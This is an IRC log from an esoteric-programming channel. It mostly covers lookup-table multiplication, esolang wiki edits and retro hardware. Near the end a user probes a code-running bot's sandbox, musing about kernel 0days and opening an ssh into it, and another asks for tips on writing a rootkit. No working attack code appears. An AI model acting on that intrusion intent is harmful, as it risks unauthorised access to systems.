05:55:45 <orby> the VM I have in mind for it that I want to write wouldn't have enough ram to fill an entire framebuffer during the vblank
05:56:58 <Jafet> what I described works even if there are no vblanks or hblanks; the program can do calculations in between the interrupts
05:57:07 <orby> which interrupt?
05:57:15 <orby> the vsync or the pixel interrupt?
05:57:36 <Jafet> the pixel interrupts, which would be the only type remaining
05:57:57 <orby> the pixel interrupt only leaves room for a few cycles, definitely not enough to render anything interesting
05:59:06 <orby> I was describing the pixel interrupt as occuring every microsecond, and now I'm describing it as occuring every 64 cycles
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06:00:04 <orby> I get what you're saying, using a few cycles to copy from the scanline buffer and the rest to write to the new scanline buffer, but how much can you do in a few thousand cycles?
06:00:23 <Jafet> well, it varies greatly with the architecture
06:00:43 <Jafet> if you don't even have imul, let alone floating point, then it's going to be a bit constrained
06:01:26 <orby> I hope I don't come off as hostile toward your criticisms, thanks for taking a look at it, thinking about it, and discussing it with me
06:02:12 <orby> the whole reason I wrote up the spec for the vdp is that I'm planning a vm using this architecture https://esolangs.org/wiki/A1
06:02:28 <orby> which I think will be challenging and fun
06:09:58 <orby> man, imul. the last chip I wrote assembly code on with a multiplication instruction had a mul that used 120 cycles lol
06:10:35 <orby> good old tms9900
06:10:46 <orby> i'll take a 6502 any day
06:24:26 <HackEgo> [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51746&oldid=51742 * Orby * (-17) /* Timing */ Still tweaking cycle counts to produce something that's easier to emulate
06:44:54 <zzo38> One fast way to make multiplication in software is by "quarter square" algorithm. If you want to multiply together 16-bit numbers, you can do that easily enough too
06:54:51 <HackEgo> [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51747&oldid=51731 * Beefster * (+263) /* Introductions */
06:55:04 <HackEgo> [wiki] [[Hanoiing]] N https://esolangs.org/w/index.php?oldid=51748 * Beefster * (+2114) Brag brag brag lazy formatting brag brag blah
06:56:54 <HackEgo> [wiki] [[Hanoiing]] https://esolangs.org/w/index.php?diff=51749&oldid=51748 * Beefster * (+95) Wikipedia links
06:57:18 <orby> zzo38: yeah, when I'm writing stuff for cpus with no multiply instruction I am usually writing demoscene stuff, so I just use lookup tables
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06:58:33 <HackEgo> [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=51750&oldid=51667 * Beefster * (+15) Shameless plug for an esolang I made today.
06:58:43 <zzo38> "Quarter square" algorithm is using a (one dimensional) lookup table.
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07:09:22 <orby> zzo38: ahh, I did not know that. cool.
07:16:54 <Jafet> with 1K of memory you might be limited to 4×4 multiplication tables
07:18:09 <Jafet> it may be no better than a long multiplication then, for 32-bit registers
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07:23:02 <Jafet> alas, without a left shift you can't really make use of sub-byte tables, so I think long multiplication always wins
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09:22:40 <HackEgo> ‘Life,’ said Marvin, ‘don't talk to me about life.’
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10:12:36 <myname> don't talk to me about lisp
10:37:31 <int-e> > let f n = n^2 `div` 4 in [(a,b) | a <- [0..127], b <- [0..127], a*b /= f (a+b) - f (a-b)]
10:46:32 <int-e> Still tricky with just 1k of memory; but I guess one can implement a decent 8x8->16 bit multiplication with a 512 (maybe 514) byte table.
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11:16:35 <int-e> Jafet: how about this: http://sprunge.us/cHaP?c
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11:30:26 <int-e> But if AI is your target platform I wouldn't worry about multiplication... how would one even test a < b efficiently?
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11:36:43 <zzo38> By some algebra, you could see that ((x+y)^2-(x-y)^2)/4=xy so if you store the quarter of square of the numbers in the table, then you can use that to calculate the multiplication.
11:55:26 <int-e> zzo38: that's what the code does
11:56:02 <int-e> (I reconstructed the idea from the "quarter square" keyword.)
12:03:28 * boily happily mapoles rdococ for great nutrition
12:03:58 <HackEgo> rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom.
12:04:12 <rdococ> `le//rn rdococ//rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom.
12:04:15 <HackEgo> Relearned 'rdococ': rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom.
12:09:02 <rdococ> how would A1 implement squaring?
12:12:02 <rdococ> do you want me to try to design a higher level language that compiles to A1?
12:15:07 <int-e> > scanl (+) 0 [1,3..]
12:15:10 <lambdabot> [0,1,4,9,16,25,36,49,64,81,100,121,144,169,196,225,256,289,324,361,400,441,4...
12:15:33 <int-e> that's the standard way of precomputing a squaring table if you don't have multiplication: add the first k odd numbers.
12:16:31 <int-e> > scanl (+) 0 [0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8] -- squares divided by 4 are also easy.
12:16:33 <lambdabot> [0,0,1,2,4,6,9,12,16,20,25,30,36,42,49,56,64,72]
12:17:13 <rdococ> so the / in ((x+y)^2-(x-y)^2)/4=xy is integral division?
12:17:49 <int-e> but you can rewrite it as (x+y)^2/4 - (x-y)^2/4 with integer division.
12:17:56 <rdococ> (quartersqrt(x+y)-quartersqrt(x-y))
12:18:11 <rdococ> and that allows you to use integer division?
12:18:13 <int-e> because the rounding errors (if x+y and x-y are odd) cancel each other.
12:18:26 <Jafet> huh, so A1 isn't actually subleq
12:18:41 <rdococ> now I wish I came up with that :c
12:19:49 <rdococ> should I try designing (not implementing) a higher-level language that compiles to A1?
12:20:08 <rdococ> ofc it'd use Teriyaki too
12:20:14 <int-e> Jafet: yeah, kind of unfortunate
12:20:47 <rdococ> is there a way to calculate the quartersquare series in A1?
12:21:03 <int-e> Jafet: of course one can use a lookup table to implement comparison
12:21:17 <int-e> Jafet: but that feels... awkward.
12:21:19 <Jafet> I also wanted to nitpick orby that teriyaki isn't actually a sauce outside of america, but the system design had more pressing issues
12:21:26 <Jafet> (such as this one)
12:21:55 <boily> A1 looks purplish...
12:22:03 <rdococ> Should I try designing a higher-level language that compiles into A1 assembly?
12:22:13 <boily> @ask orby hellorby. have you heard of aubergine and is family?
12:22:19 <rdococ> if so, what to call it?
12:22:30 <int-e> Jafet: are you sure?
12:23:23 <int-e> Ah, subtle, a cooking technique. Fair enough. Easy misconception to acquire :)
12:24:02 <rdococ> again, should I try designing a higher-level language that compiles into A1 assembly?
12:24:16 <zzo38> I know you can make teriyaki without sauce, because I have had it.
12:24:20 <int-e> But nevertheless, the technique does seem to involve a special sauce.
12:24:26 <Jafet> only in america is the abomination known as “teriyaki sauce” made separately and added to the food, instead of being produced by cooking
12:26:29 <int-e> That is unfortunate, teriyaki produces incredibly tender meat.
12:26:52 <rdococ> . o O ( I might try it some time )
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12:30:17 <int-e> Oh well, it's no worse than Peking duck.
12:32:23 <int-e> (Of course that is actually a very decadent food, and not what people expect when they hear "duck" in connection with food.)
12:32:46 <rdococ> int-e: should I try designing a higher-level language that compiles into A1 assembly?
12:33:02 <rdococ> I guess it won't be much different to regular ones :/
12:45:17 <rdococ> so for multiplication all you need is {quartersquare, subtract, 0} or {quartersquare, subtract, add}
12:45:42 <int-e> you don't really need 0 if you have subtract
12:46:57 <rdococ> so all you need for multiplication is {quartersquare, subtract}. from there you can multiply quartersquare by 4, or multiply something by itself, to get square
12:48:30 <rdococ> well, now we have a simpler multiplication algorithm for subleq?
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13:23:53 <rdococ> as an exercise, I'm trying to implement the quartersquare multiplication method in brainfuck.
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13:31:02 <wob_jonas> orby: 128 bytes of ram (not 256 bytes) if you're thinking of the Atari 2600
13:34:42 <int-e> how could you do anything with that... heh
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13:42:34 <wob_jonas> This is why Color a dinosaur is such an important tech demonstration.
13:43:22 <wob_jonas> How do you do flood filling with just tiles and sprites?
13:48:26 <rdococ> for example, how to quartersqrt in bf?
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14:06:37 <Jauler> Hey, maybe someone does recognize what esoteric language this could be? "3>3<8>5<10>10<8>3<6>10<8>2<8<1<2>6>5<7>6<2<8>1>6<3<3>7>11<2<9>9<6>2<4<5>8>8<4>3>3<8<1>7>3<1<7>1>12<5>3<3<12>8<1<2<3>1>2<2>1>1<1<1>1<2>2<1>1<"
14:13:32 <myname> i would consider that esoteric
14:13:49 <wob_jonas> alercah: no, that would need commas
14:15:13 <Jauler> I doubt that this could be C++ templates as those should have matching "<" and ">" pairs
14:15:20 <wob_jonas> maybe it's part of some obfu code in some other language, and there's some code processing that string or something
14:21:12 <HackEgo> [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51751&oldid=51747 * Bojidar-bg * (+343)
14:21:29 <wob_jonas> PCG has a shitton of esolangs, so it's hard to see which ones are actually popular (say, used by more than one people to write multiple programs). I'd like to know which ones are, because we should make an article of those on the esowiki
14:21:32 <HackEgo> [wiki] [[Chance]] M https://esolangs.org/w/index.php?diff=51752&oldid=51732 * Bojidar-bg * (-14) Remove wrong use of "percent"
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14:27:55 <Jafet> aren't most of them already on the wiki, at least as stubs?
14:28:14 <Jafet> though, the one just asked about isn't
14:28:27 <wob_jonas> Jafet: I don't think so. At least not if you count them unweighted:
14:29:35 <wob_jonas> there are a lot of stupid "languages" that people make up because they think it's hip to write a javascript interpreter on github of a language that can print strings or whatever, and then post two examples of it (a hello world and a factorial or fibonacci or whatever) and that's all there is
14:30:17 <wob_jonas> but I think there are actual better languages of which we're missing articles yet, simply because the esowiki has a small community and nobody's met those languages yet
14:32:37 <wob_jonas> seriously, I think there are more pointless stupid languages on PPCG than on esowiki
14:34:47 <Jafet> I doubt so; they at least have the quality of having one working program in them
14:35:45 <Jafet> the wiki has, what, 1000 Category:Languages?
14:38:10 <Jafet> anyway, you can probably extract some kind of language list by parsing all the answers on the stackexchange site
14:38:54 <wob_jonas> Jafet: yeah, and a few dozen other articles that are languages but not in the category
14:39:14 <wob_jonas> Jafet: yes, perhaps you could do that, but I'm lazy
14:42:00 <Jafet> since you are lazy (and, furthermore, I am also lazy), we could just wait for the people in the ppcg esolangs chatroom (apparently there is one? darth decisive oerjan may know) to decide which of their esolangs are good and add them to the wiki
14:43:22 <wob_jonas> is HODOR and Hodor the same language?
14:43:57 <wob_jonas> https://codegolf.stackexchange.com/a/58357/6691 vs http://www.hodor-lang.org/
14:44:00 <Jafet> they're both OISCs, presumably?
14:44:50 <wob_jonas> as in, a language pronouncable by someone with a very reduced vocabulary
14:45:25 <wob_jonas> I think these are actually two different programming languages
14:45:44 <Jafet> maybe, but the first page links to the second
14:46:23 <wob_jonas> https://github.com/ValyrioCode/Hodor vs http://www.hodor-lang.org/
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14:50:15 <Jafet> might be difficult to create wiki articles for both languages, then
14:51:02 <wob_jonas> Jafet: we already have pairs of pages for identically named languages, and there are more for which we don't have pages yet. that never stopped us
14:52:02 <Jafet> hmm the two SLOBOL articles don't even link to each other
14:53:13 <wob_jonas> some of the clashes are because some people like to give single-letter names to their languages, so there are multiple languages named V or A or Y
14:53:23 <wob_jonas> some are because people give deliberately confusing name to an esolang, like GHC and GCC
14:53:52 <wob_jonas> the case of Hodor may be an accident for all I know
14:54:31 <wob_jonas> and "x86" as an esolang name is probably an accident too: they named the esolang that before that name got well spread used for the cpu architecture
14:55:19 <wob_jonas> then there's "MIX" which was given as a name for some insignificant esolang way after the much more famous esolang was well established
14:57:44 <wob_jonas> The Hodor one is confusing, I'll create a page on the esowiki just to avert the confusion when someone talks about Hodor and someone else thinks it's the other Hodor.
14:57:56 <HackEgo> [wiki] [[Hodor]] N https://esolangs.org/w/index.php?oldid=51753 * B jonas * (+252) Created page with "'''Hodor''' is the name of two esoteric languages, with homepage https://github.com/ValyrioCode/Hodor and http://www.hodor-lang.org/ respectively. One of them might actually..."
15:03:02 <Jafet> I wonder if either language is actually interesting enough to write a page about
15:03:48 <wob_jonas> Jafet: I dunno, but there are hundreds of languages for which I could ask that, so I don't particularly care about Hodor there
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15:07:57 <HackEgo> [wiki] [[Hello world program in esoteric languages]] https://esolangs.org/w/index.php?diff=51754&oldid=50877 * B jonas * (+73)
15:08:52 <HackEgo> [wiki] [[Hello world program in esoteric languages]] https://esolangs.org/w/index.php?diff=51755&oldid=51754 * B jonas * (+21)
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15:24:47 <Soni> how can I port gzip to sed?
15:25:20 <HackEgo> Soni: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
15:25:25 <wob_jonas> as in, do you want to decompress only, or compress too?
15:25:58 <Soni> I wanna sed compressed files using a self-contained sed script
15:26:23 <Soni> in other words, I can't call gzip
15:27:53 <wob_jonas> Soni: shell out to an external command, sed can do that; if you don't want that, and want to do the computation in sed, then start from https://pts.50.hu/muzcat-mini-latest.tar.gz which has gzip decompression code translated from a template to many programming languages,
15:28:28 <wob_jonas> and from the famous dc.sed program (iirc included in the sed source code) which shows how to do arithmetic in dc (but beware, I think one of the comments in that source code is a lie),
15:28:34 <Soni> wait, sed can call external commands?
15:28:44 <Soni> I can write a git remote helper in sed? O_o
15:29:10 <moonythedwarf> 'e' is the character used to run a command from the current string i believe
15:29:40 <wob_jonas> and for compression, perhaps just do fake compression where you store uncompressed stuff in gzip format (there are two ways for that, an easy where the whole file is uncompressed, and a subtle where it appears to be compressed but actually everything is literal blocks in the compressed format)
15:29:50 <wob_jonas> Soni: yes, it can, read the manual
15:31:12 <wob_jonas> I think the commands are r! and w! but I'm not sure
15:32:35 <wob_jonas> and hope you have a sane sed, not one of those ancient versions that can only handle lines of up to 4096 bytes long
15:35:36 <Soni> I wish it had a JIT
15:35:48 <moonythedwarf> `sed "this isnt how you sed, but feel free to test your ideas here"
15:35:48 <HackEgo> /bin/sed: -e expression #1, char 1: unknown command: `"'
15:35:53 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch [<output-file>] <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
15:35:55 <wob_jonas> gnu always takes the zero-one-infinity rule seriously. too seriously, IMO, so much that it hurts them.
15:43:16 -!- orby has joined.
15:43:57 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch [<output-file>] <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
16:09:25 <FireFly> I guess stdin might not be closed
16:09:44 <FireFly> `` sed 's/.*/hello/' </dev/null
16:09:48 <olsner> I think that's a no-op unless sed gets at least one line of input
16:10:25 <olsner> there should be a /dev/newline that's just a single newline followed by EOF
16:10:28 -!- CodingBat has joined.
16:10:52 <wob_jonas> olsner: you can use a regular file for that
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17:29:20 <\oren\> Apparently Fascist South Africa can still abolish apartheid
17:30:14 <\oren\> I've been quite successful. I conquered Britain
17:31:22 <wob_jonas> \oren\: is this a video game? what game?
17:32:00 <\oren\> I'm trying to get all the ahievements
17:32:35 <wob_jonas> in a single game, or multiple games together?
17:32:46 <\oren\> you can't get all of them in one game
17:33:23 <\oren\> some are things like "As south africa, have Edward VIII as your king and own jerusalem"
17:33:48 <\oren\> or "As Netherlands, conquer Belgium and Luxembourg"
17:38:16 <wob_jonas> One thing I wanted to ask is, in Questionable Content, is Faye a PC (protagonist character or player character)? Because when she interviewed to the fight ring, she mentioned adding spikes to an armor, which sounds close to something a PC shouldn't be allowed to do.
17:39:26 <wob_jonas> If a PC can just upgrade armor to better armor without insane expense, that can come close to broken power level, when she just makes herself +12 weapons and full gear of +12 armor early and become invincible. There's a good reason why PCs are normally required to farm for random good armor and weapons, or buy them from shopkeepers that are hard to
17:39:41 <\oren\> http://steamcommunity.com/id/orenwatson/myactivity
17:39:56 <wob_jonas> But at the start of QC, when Faye moved into with Marten, it looked like she was a PC.
17:40:19 -!- ais523 has joined.
17:40:47 <ais523> @ask oerjan Do you know where the content formerly hosted on oerjan.nvg.org is now? I'm interested in your Shove interpreter
17:40:56 <moonythedwarf> For an experiment, i decided to try writing a rootkit in rust. Any headsups you may want to give me on possible pitfalls (using the Winapi and kernel32-sys libraries, alongside others i pick up if needed)
17:41:04 <\oren\> Faye is one of those overpowered characters that is part of your party but leaves later
17:41:47 <wob_jonas> \oren\: she hasn't seem to left yet, and she knew welding from the start
17:42:22 <ais523> btw, it's not urgent (I found a copy in the web archive), but it'd be good to have a live URL
18:03:11 -!- hppavilion[0] has joined.
18:06:04 <HackEgo> [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51756&oldid=51746 * Orby * (+1412) Adding information about sound and improving timing to be closer to NTSC
18:06:25 -!- Jauler has joined.
18:09:05 <HackEgo> [wiki] [[Special:Log/newusers]] create * Itay2805 * New user account
18:10:44 -!- Jauler has quit (Remote host closed the connection).
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18:17:17 <\oren\> I think next time I'll get the achivement for freeing all the african colonies
18:17:19 <\oren\> which inevitably means fighting a war with belgium, UK, France and Portugal, probably all at once. FUN!
18:26:04 <orby> Is esolangs down?
18:26:34 <wob_jonas> orby: 128 bytes of ram (not 256 bytes) if you're thinking of the Atari 2600
18:26:59 <orby> wob_jonas: I stand corrected. Man that's brutal.
18:27:42 <wob_jonas> I'm not sure if it makes much of a difference. The difficulty is how slow the cpu is.
18:28:08 <wob_jonas> And it has to keep up with the line scans.
18:28:28 <orby> yeah, I mean the c64 was similar in terms of speed, but the hardware was much nicer
18:29:02 <wob_jonas> the a2600 has to mess with the video every scanline usually
18:29:12 <orby> that's my understanding
18:29:23 -!- quinor has joined.
18:29:23 <orby> I've never actually coded for it, but I've read about it
18:29:35 <HackEgo> quinor: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
18:29:42 * moonythedwarf waits for hackego, the slowest bot in mexico, to respond
18:30:27 <moonythedwarf> ^^^ Give him a haskell. Or a copy of lethal overengineering. He demands it.
18:32:03 <wob_jonas> on the plus side, it has hardware sprite-sprite and sprite-tile collision detection, so the video processor tells you whether the bullet has hit the spaceship in a pixel-perfect manner
18:32:20 <wob_jonas> no more mucking with hitboxes that don't seem to correspond to the shape of the sprite
18:32:40 <orby> at least there's that
18:32:53 <orby> hmmm, still no esolangs for me, strange
18:33:02 <orby> I'm getting a gateway timeout
18:33:20 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch [<output-file>] <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
18:33:22 <wob_jonas> of course, you have to update the sprite every scanline for that, so it's not much of a win
18:33:40 <wob_jonas> fungot, how many treasure do you have?
18:33:41 <fungot> wob_jonas: lambda calculus for an 11 year old is playing with her at the moment? nothing :) but tried something earlier today
18:33:53 <moonythedwarf> cant remember, does hackego have a haskell compiler?
18:34:02 <lambdabot> [(1,2),(2,3),(3,4),(4,5),(5,6),(6,7),(7,8),(8,9),(9,10),(10,11),(11,12),(12,...
18:35:20 <quinor> let fib = 0 : 1 : zipWith (+) fib (tail fib) in take 20 fib
18:35:23 <HackEgo> [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51757&oldid=51756 * Orby * (-24) Clean up, typos, etc
18:35:36 <quinor> > let fib = 0 : 1 : zipWith (+) fib (tail fib) in take 20 fib
18:35:38 <lambdabot> [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181]
18:36:47 <wob_jonas> moony: I think it does have an old ghc somewhere
18:36:55 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ghc: not found
18:37:01 <HackEgo> 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom
18:37:46 <wob_jonas> maybe it's just a trace remaining from that old thing HackEgo/interps was originally supposed to replace
18:38:34 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: hugs: not found
18:39:05 <wob_jonas> it might be interps stuff. how do we run that?
18:39:19 <HackEgo> 1l \ 2l \ adjust \ axo \ befunge \ bfjoust \ bf_txtgen \ boof \ build.sh \ cfunge \ c-intercal \ clc-intercal \ dimensifuck \ egobch \ egobf \ fukyorbrane \ gcccomp \ gforth_quit \ ghc \ glass \ glypho \ kipple \ lambda \ lazyk \ linguine \ Makefile \ malbolge \ pbrain \ qbf \ rail \ rhotor \ sadol \ sceql \ trigger \ udage01 \ underload \ unlambda
18:39:38 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/interps/ghc: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /hackenv/interps/ghc: cannot execute: Is a directory
18:39:45 <HackEgo> ! is a syntax used in Haskell and Prolog for solving evaluation order problems.
18:41:01 <HackEgo> cat: invalid option -- 'h' \ Try 'cat --help' for more information. \ /hackenv/interps/ghc/runghc: line 5: /opt/ghc/bin/runhaskell: No such file or directory
18:41:27 <HackEgo> #!/bin/bash \ src=$(cat $1) \ if ! ghc -e "$src" 2> /dev/null \ then \ /opt/ghc/bin/runhaskell <<< $src \ fi
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18:42:20 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch [<output-file>] <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
18:42:25 <quinor> I mean, what's it running on
18:42:41 <moonythedwarf> Gregor's linux server, somewhere. dont fuck it, the esotericans will nom you.
18:43:04 <HackEgo> /hackenv/bin/!: 4: exec: ibin/: Permission denied
18:43:07 <quinor> never been nommed before
18:43:40 <quinor> it just itches to make myself an ssh into it
18:43:44 <moonythedwarf> quinor, besides, we can revert your shit as long as you dont chmod 000 everything. if you do that you are in serious trouble because you broke the bot
18:43:47 <wob_jonas> for the old collection of esointerpreters, from before HackEgo
18:44:26 <HackEgo> HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing. HackEgo is the slowest bot in all Mexico!
18:45:03 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
18:45:40 <HackEgo> Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux
18:46:05 <HackEgo> Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux
18:46:08 <quinor> well, there are 0days on that kernel
18:49:40 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ifconfig: not found
18:49:43 -!- sleffy has joined.
18:49:43 <HackEgo> Option "-a" is unknown, try "ip -help".
18:49:51 <HackEgo> 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default \ link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 \ inet 127.0.0.1/8 scope host lo \ valid_lft forever preferred_lft forever \ inet6 ::1/128 scope host \ valid_lft forever preferred_lft forever \ 2: sit0: <NOARP> mtu 1480 qdisc noop s
18:50:21 <HackEgo> whoami: cannot find name for user ID 5000
18:50:36 <HackEgo> ls: /bin/ls /hackenv/bin/ls /usr/share/man/man1/ls.1.gz
18:51:31 <HackEgo> wget: /usr/bin/wget /usr/share/man/man1/wget.1.gz
18:51:40 <HackEgo> ls: cannot access /usr/bin /bin: No such file or directory
18:51:45 <HackEgo> [ \ 2to3 \ 2to3-2.6 \ 2to3-2.7 \ a2p \ addpart \ addr2line \ aot-compile \ appletviewer \ apropos \ apt \ apt-cache \ apt-cdrom \ apt-config \ apt-extracttemplates \ apt-ftparchive \ apt-get \ aptitude \ aptitude-create-state-bundle \ aptitude-curses \ aptitude-run-state-bundle \ apt-key \ apt-mark \ apt-sortpkgs \ ar \ arch \ as \ awk \ axi-cac
18:51:53 <HackEgo> bash \ bunzip2 \ bzcat \ bzcmp \ bzdiff \ bzegrep \ bzexe \ bzfgrep \ bzgrep \ bzip2 \ bzip2recover \ bzless \ bzmore \ cat \ chacl \ chgrp \ chmod \ chown \ cp \ cpio \ dash \ date \ dd \ df \ dir \ dmesg \ dnsdomainname \ domainname \ echo \ ed \ egrep \ false \ fgrep \ findmnt \ fuser \ getfacl \ grep \ gunzip \ gzexe \ gzip \ hostname \ ip \ jo
18:51:54 <moonythedwarf> quinor, you can obviously grab files. there is a external command for it, `fetch
18:52:21 <moonythedwarf> and you have `paste, which gives you a link to that file in the mercual repository
18:52:49 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: grab: not found
18:54:23 <quinor> anybody did any fun with the bod?
18:55:59 -!- hppavilion[0] has quit (Ping timeout: 240 seconds).
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18:59:39 <moonythedwarf> you can mess with it as long as you dont upset fizzie or shachaf
19:00:07 <HackEgo> The Wisdome is the place where all of HackBot's wisdom is stored and forced to fight to the death for the freedom of being printed out when you type `wisdom. Strictly speaking, it should be called the "Wissphere".
19:00:22 <moonythedwarf> quinor, Bowserinator or iovoid were the ones who found the chmod 0000 issue (by doing it to the bot lol)
19:01:14 <HackEgo> W: Unable to read /etc/apt/apt.conf.d/ - DirectoryExists (2: No such file or directory) \ W: Unable to read /etc/apt/sources.list.d/ - DirectoryExists (2: No such file or directory) \ W: Unable to read /etc/apt/sources.list - RealFileExists (2: No such file or directory) \ E: List directory /var/lib/apt/lists/partial is missing. - Acquire (2: No su
19:05:10 <moonythedwarf> also, quinor, if you need the full output, redirect output to a file, and then `paste <filename> for a link to it
19:05:34 <quinor> nothing, just wanted to test a thing
19:05:41 <quinor> did not expect it to work
19:06:20 <HackEgo> ls: invalid option -- ' ' \ Try 'ls --help' for more information.
19:06:26 <HackEgo> total 344 \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:05 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:05 .. \ -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ drwxr-xr-x 2 5000 0 4
19:06:39 <moonythedwarf> quinor, you have to use `` for multiline (yes, thats actually just a linux command)
19:06:43 <HackEgo> total 328 \ 4 -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ 12 drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ 0 -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ 4 drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ 4 drwxr-xr-x 2 5000 0 4096 Mar 17 20:16 esobible \ 4 drwxr-xr-x 3 5000 0 4096 Oct 28 18:37 etc \ 4 drwxr-xr-
19:08:09 <quinor> why ls -la is multiline? -.-
19:08:44 <moonythedwarf> quinor, s/multiline/uh i dunno actually what the word that belongs here is/
19:09:05 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `ls: not found
19:09:16 <HackEgo> total 344 \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:08 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:08 .. \ -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ drwxr-xr-x 2 5000 0 4
19:09:23 <moonythedwarf> basically HackEgo takes it all as one command and a giant, single arg. <command><arg>
19:09:47 <\oren\> moonythedwarf: unless you use 11
19:09:50 <\oren\> moonythedwarf: unless you use ``
19:09:52 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: exec: not found
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19:10:04 <HackEgo> total 344 \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:09 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 .. \ -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ drwxr-xr-x 2 5000 0 4
19:10:11 <HackEgo> total 32 \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 .. \ drwxr-xr-x 2 0 0 4096 Mar 7 23:03 bin \ drwxr-xr-x 3 0 0 4096 Mar 7 21:24 dev \ drwxr-xr-x 4 0 0 0 Apr 17 18:09 etc \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:09 hackenv \ drwxr-xr-x 3 0 0 0 Apr 17 18:09 home \ d
19:10:18 <HackEgo> total 32 \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 .. \ drwxr-xr-x 2 0 0 4096 Mar 7 23:03 bin \ drwxr-xr-x 3 0 0 4096 Mar 7 21:24 dev \ drwxr-xr-x 4 0 0 0 Apr 17 18:09 etc \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:09 hackenv \ drwxr-xr-x 3 0 0 0 Apr 17 18:09 home \ d
19:11:37 <wob_jonas> and three backticks is even better than two
19:12:31 <wob_jonas> moonythedwarf: like most things, it's best at around pi
19:16:38 <quinor> `` file /hackenv/bin/`
19:16:39 <HackEgo> /hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching ``' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file
